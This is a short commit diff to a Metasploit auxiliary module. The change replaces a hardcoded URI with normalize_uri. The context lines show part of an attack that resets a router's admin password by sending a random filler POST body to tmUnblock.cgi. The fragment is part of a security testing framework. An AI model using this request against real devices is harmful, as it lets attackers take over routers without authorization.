Use normalize_uri

bug/bundler_fix
jvazquez-r7 2014-02-26 09:35:42 -06:00
parent 582372ec3e
commit 6ba26bf743
1 changed files with 1 additions and 3 deletions

View File

@ -64,8 +64,6 @@ class Metasploit3 < Msf::Auxiliary
return return
end end
uri = '/cgi-bin/tmUnblock.cgi'
print_status("#{peer} - Resetting password for the admin user ...") print_status("#{peer} - Resetting password for the admin user ...")
postdata = Rex::Text.rand_text_alpha(246) # Filler postdata = Rex::Text.rand_text_alpha(246) # Filler
@ -86,7 +84,7 @@ class Metasploit3 < Msf::Auxiliary
begin begin
res = send_request_cgi( res = send_request_cgi(
{ {
'uri' => uri, 'uri' => normalize_uri("cgi-bin", "tmUnblock.cgi"),
'method' => 'POST', 'method' => 'POST',
'vars_post' => { 'vars_post' => {
'period' => '0', 'period' => '0',